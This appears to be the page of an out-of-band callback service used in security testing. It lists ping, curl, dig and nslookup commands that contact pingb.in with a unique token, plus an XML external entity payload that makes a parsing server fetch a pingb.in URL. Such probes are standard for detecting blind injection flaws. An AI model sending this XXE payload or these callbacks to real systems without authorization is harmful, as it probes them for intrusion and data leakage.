$ ping -c1 -p 0002adc10a8c1746578bd026e68b0500 pingb.in
 
$ curl pingb.in/p/02adc10a8c1746578bd026e68b05
 
$ dig 02adc10a8c1746578bd026e68b05 @pingb.in
 
$ dig 02adc10a8c1746578bd026e68b05.ns.pingb.in
 
C:\> nslookup 02adc10a8c1746578bd026e68b05 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/02adc10a8c1746578bd026e68b05">]>
    <foo>&xxe;</foo>
 
Waiting for ping...